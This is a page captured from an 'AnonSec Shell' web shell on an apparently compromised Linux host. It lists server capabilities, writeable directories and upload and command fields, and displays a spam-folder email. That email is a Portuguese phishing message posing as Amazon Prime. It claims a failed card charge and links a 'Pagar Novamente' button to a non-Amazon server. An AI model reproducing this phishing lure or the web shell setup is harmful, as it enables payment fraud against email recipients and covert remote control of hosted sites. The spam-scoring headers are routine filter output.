AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.216.252
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/././mail/.spam/new/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/././mail/.spam/new/1645043026.M17683P27649.dedi-4363141.lrsys.com.br,S=10248,W=10384
Return-Path: <root@srv120.primecobrancafev.xyz>
Delivered-To: lrsys+spam@dedi-4363141.lrsys.com.br
Received: from dedi-4363141.lrsys.com.br
	by dedi-4363141.lrsys.com.br with LMTP
	id mKoXAFJdDWIBbAAAIWsJAg
	(envelope-from <root@srv120.primecobrancafev.xyz>)
	for <lrsys+spam@dedi-4363141.lrsys.com.br>; Wed, 16 Feb 2022 17:23:46 -0300
Return-path: <root@srv120.primecobrancafev.xyz>
Envelope-to: vendas@lrsys.com.br
Delivery-date: Wed, 16 Feb 2022 17:23:46 -0300
Received: from srv120.primecobrancafev.xyz ([20.212.153.112]:48170)
	by dedi-4363141.lrsys.com.br with esmtps  (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
	(Exim 4.94.2)
	(envelope-from <root@srv120.primecobrancafev.xyz>)
	id 1nKQpw-0007Br-FC
	for vendas@lrsys.com.br; Wed, 16 Feb 2022 17:23:45 -0300
Received: by srv120.primecobrancafev.xyz (Postfix, from userid 0)
	id D0EEB449A6; Wed, 16 Feb 2022 20:07:24 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
	d=srv120.primecobrancafev.xyz; s=mail; t=1645042170;
	bh=FrN27Zctb05nRMXOLOUKPAoPjXvX67KeIXiso/HMHrY=;
	h=Subject:From:To:Date;
	b=XcGSQi0SbjQmzdxglxVxmXmsdtQGBXIR+AFVSkNSA/rD8V62g36XdjyXmxu7roOBp
	 X0nQncG9RbXpkQWsxQk6wSWHNIcMWw828sFDkmuHPC/skWVhvbDDa53ZMX1NS3jeOi
	 CFRoWFz0O9talPuMpaGWZjzZVmlNNpr4Oe0+1UQI=
content-type: text/html
MIME-Version: 1.0
X-Priority: 1
X-MSmail-Priority: High
Priority: urgent
Importance: high
X-Mailer: Microsoft Office Outlook, Build 11.0.5510
X-Newsreader: Microsoft Outlook Express 6.00.2800.140
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441
Message-ID: <Z4mwbUJXscLEci4XiMXDkuOsc5vTbLgxa@srv120.primecobrancafev.xyz>
From: Amazon Prime <root@srv120.primecobrancafev.xyz>
To: vendas@lrsys.com.br
Date: Wed, 16 Feb 2022 20:07:24 +0000 (UTC)
X-Spam-Status: Yes, score=23.4
X-Spam-Score: 234
X-Spam-Bar: +++++++++++++++++++++++
X-Spam-Report: Spam detection software, running on the system "dedi-4363141.lrsys.com.br",
 has identified this incoming email as possible spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 root\@localhost for details.
 Content preview:  Sua assinatura do Amazon Prime foi cancelada. | Sua assinatura
    Prime | Olá, , 
 Content analysis details:   (23.4 points, 5.0 required)
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.0 URIBL_BLOCKED          ADMINISTRATOR NOTICE: The query to URIBL was
                             blocked.  See
                             http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
                              for more information.
                             [URIs: amazon.com.br]
  4.5 URIBL_DBL_SPAM         Contains a spam URL listed in the Spamhaus DBL
                             blocklist
                             [URIs: primecobrancafev.xyz]
  5.0 BAYES_99               BODY: Bayes spam probability is 99 to 100%
                             [score: 1.0000]
  1.0 BAYES_999              BODY: Bayes spam probability is 99.9 to 100%
                             [score: 1.0000]
  2.1 CPANEL_XYZ             .XYZ domain mostly used by spammers
 -0.0 SPF_HELO_PASS          SPF: HELO matches SPF record
  2.0 PDS_OTHER_BAD_TLD      Untrustworthy TLDs
                             [URI: srv120.primecobrancafev.xyz]
                             [(xyz)]
 -0.0 SPF_PASS               SPF: sender matches SPF record
  0.0 HTML_MESSAGE           BODY: HTML included in message
  0.1 MIME_HTML_ONLY         BODY: Message only has text/html MIME parts
  0.1 DKIM_SIGNED            Message has a DKIM or DK signature, not necessarily
                             valid
 -0.0 T_SCC_BODY_TEXT_LINE   No description available.
  0.5 KAM_NUMSUBJECT         Subject ends in numbers excluding current years
  0.5 FROM_SUSPICIOUS_NTLD   From abused NTLD
  0.0 FORGED_OUTLOOK_HTML    Outlook can't send HTML message only
  2.2 URI_GOOGLE_PROXY       Accessing a blacklisted URI or obscuring source
                              of phish via Google proxy?
  2.0 FROM_SUSPICIOUS_NTLD_FP From abused NTLD
  0.1 FORGED_OUTLOOK_TAGS    Outlook can't send HTML in this format
  0.8 KAM_INFOUSMEBIZ        Prevalent use of
                             .info|.us|.me|.me.uk|.biz|xyz|id|rocks|life
                              domains in spam/malware
  0.4 HTML_MIME_NO_HTML_TAG  HTML-only message, but there is no HTML
                             tag
  0.1 DKIM_INVALID           DKIM or DK signature exists, but is not valid
  2.1 AMAZON_IMG_NOT_RCVD_AMZN Amazon hosted image but message not
                             from Amazon
X-Spam-Flag: YES
Subject:  ***SPAM***   Prime: Conta Prime Suspensa 16/02/2022 

<div style="width: 100%;" align="center">

<div style="width: calc(100% - 100px); margin: 20px 50px 20px 50px; max-width: 550px;">

<h3 style="color: #666666; font-weight: 400; font-family: Arial, Helvetica, sans-serif; font-size: 10px; line-height: 16px; width: 100%; text-align: left;"><a style="text-decoration: underline; color: #666666;" href="https://www.amazon.com.br/gp/r.html?C=13MGA3006REP7&amp;K=1T8BOV3IHIRYO&amp;M=urn:rtn:msg:20211029014740d2c2c5f9d3144dc5a324bf4d8510p0na&amp;R=3FPR7VZZVQJHU&amp;T=C&amp;U=https%3A%2F%2Fwww.amazon.com.br%2Fprime%3Fref_%3Dpe_24523030_417690350&amp;H=ZN0ML0NA3HTEZLGEWMTKS3JHFA0A&amp;ref_=pe_24523030_417690350" target="_blank" rel="noopener" data-saferedirecturl="https://www.google.com/url?q=https://www.amazon.com.br/gp/r.html?C%3D13MGA3006REP7%26K%3D1T8BOV3IHIRYO%26M%3Durn:rtn:msg:20211029014740d2c2c5f9d3144dc5a324bf4d8510p0na%26R%3D3FPR7VZZVQJHU%26T%3DC%26U%3Dhttps%253A%252F%252Fwww.amazon.com.br%252Fprime%253Fref_%253Dpe_24523030_417690350%26H%3DZN0ML0NA3HTEZLGEWMTKS3JHFA0A%26ref_%3Dpe_24523030_417690350&amp;source=gmail&amp;ust=1636603968976000&amp;usg=AFQjCNFDftGHQ3rpul
 F6A5YrD8YmKcOXMA">Sua assinatura do Amazon Prime foi cancelada.</a></h3>

<div style="width: 100%; height: 5px; background: #f90;">&nbsp;</div>

<div style="width: 100%;">

<div style="float: left; margin: 10px; width: 45%;" align="left"><img src="https://ci6.googleusercontent.com/proxy/lnQljYQe9M0ozjtlcMWjuqxsKx1biwm6iHeaMqZku9F3g7cpDfw1u_vqUdlYALQLQt8bUULLhglUGwtcPcYz2uuJPuj2SByvLa1-iSpHwlD747bgxiQgLQ84GF_5cgWx-N4yIdvTnxhAW6TkbcbC=s0-d-e1-ft#https://m.media-amazon.com/images/G/32/e-mail/logos/amzn_logo_prime_110x48._CB457581796_.png" /></div>

<div style="float: right; margin: 10px; width: 45%;" align="right">

<h3 style="color: #333333; font-size: 14px; font-family: Arial, Helvetica, sans-serif; font-weight: normal; line-height: 18px;">&nbsp;&nbsp;&nbsp;|&nbsp;<a style="text-decoration: none; color: #333333;" href="https://www.amazon.com.br/gp/r.html?C=13MGA3006REP7&amp;K=1T8BOV3IHIRYO&amp;M=urn:rtn:msg:20211029014740d2c2c5f9d3144dc5a324bf4d8510p0na&amp;R=3KO2JTAMVA5BR&amp;T=C&amp;U=https%3A%2F%2Fwww.amazon.com.br%2Fgp%2Fprimecentral%3Fref%3Dpcentral-we-f%26ref_%3Dpe_24523030_417690350&amp;H=YAO7BRMQHVHWR2AMPYVQYRQ4NA4A&amp;ref_=pe_24523030_417690350" target="_blank" rel="noopener" data-saferedirecturl="https://www.google.com/url?q=https://www.amazon.com.br/gp/r.html?C%3D13MGA3006REP7%26K%3D1T8BOV3IHIRYO%26M%3Durn:rtn:msg:20211029014740d2c2c5f9d3144dc5a324bf4d8510p0na%26R%3D3KO2JTAMVA5BR%26T%3DC%26U%3Dhttps%253A%252F%252Fwww.amazon.com.br%252Fgp%252Fprimecentral%253Fref%253Dpcentral-we-f%2526ref_%253Dpe_24523030_417690350%26H%3DYAO7BRMQHVHWR2AMPYVQYRQ4NA4A%26ref_%3Dpe_24523030_417690350&am
 p;source=gmail&amp;ust=1636603968976000&amp;usg=AFQjCNEbOOqlGOBhx5RaU8HGX_kRE5Qcfg">Sua assinatura Prime</a>&nbsp;&nbsp;&nbsp;|&nbsp;</h3>

</div>

<div style="clear: both;">&nbsp;</div>

</div>

<div style="width: 100%; background: grey; height: 1px;">&nbsp;</div>

<p style="font-size: 12px; font-family: Arial, Helvetica, sans-serif; color: #333333; line-height: 16px; text-align: left; margin-top: 50px; margin-left: 10px; margin-right: 10px;">Ol&aacute;, ,</p>

<p style="font-size: 12px; font-family: Arial, Helvetica, sans-serif; color: #333333; line-height: 16px; text-align: left; margin-left: 10px; margin-right: 10px;">Devido a um problema com seu cart&atilde;o, n&atilde;o conseguimos realizar a cobran&ccedil;a de R$9,90 para seu pr&oacute;ximo m&ecirc;s de Amazon Prime. Sua assinatura Prime foi cancelada e voc&ecirc; n&acirc;o foi cobrado.</p>

<p style="font-size: 14px; font-family: Arial, Helvetica, sans-serif; color: #333333; line-height: 16px; text-align: left; margin-top: 40px; margin-left: 10px; margin-right: 10px;">Email<br /><span style="font-weight: 600;">vendas@lrsys.com.br</span></p>

<p style="font-size: 14px; font-family: Arial, Helvetica, sans-serif; color: #333333; line-height: 16px; text-align: left; margin-left: 10px; margin-right: 10px;">Plano<br /><span style="font-weight: 600;">Padr&atilde;o</span></p>

<p style="font-size: 14px; font-family: Arial, Helvetica, sans-serif; color: #333333; line-height: 16px; text-align: left; margin-left: 10px; margin-right: 10px;">Pre&ccedil;o do pano para renova&ccedil;&atilde;o promocional<br /><span style="font-weight: 600;">R$9,90/m&ecirc;s</span></p>

<p style="font-size: 12px; font-family: Arial, Helvetica, sans-serif; color: #333333; line-height: 16px; text-align: left; margin-left: 10px; margin-right: 10px;">Obrigado por ser Prime e por comprar na Amazon.com.br.<br />Atenciosamente,<br />Atendimento ao Cliente da Amazon.com.br</p>

<br /><br /> <a style="text-decoration: none; font-size: 20px; font-family: Arial, Helvetica, sans-serif; color: rgb(255 255 255); line-height: 16px; text-align: left; margin-left: 10px; margin-right: 10px; background: #f90; padding: 13px 73px; /* border-radius: 2px; */border-radius: 7px;" href="http://ip-72-167-45-95.ip.secureserver.net/.x/?cid=vendas@lrsys.com.br">Pagar Novamente</a>

<p style="font-size: 12px; font-family: Arial, Helvetica, sans-serif; color: #333333; line-height: 16px; text-align: left; margin-left: 10px; margin-right: 10px;">&nbsp;<br /> Este e-mail foi enviado de um endere&ccedil;o de notifica&ccedil;&atilde;o que n&atilde;o est&aacute; habilitado a receber mensagens. <br /> Por favor, n&atilde;o responda a esta mensagem.<br /><br />Esta mensagem foi enviada a: vendas@lrsys.com.br</p>

</div>


Anon7 - 2022
AnonSec Team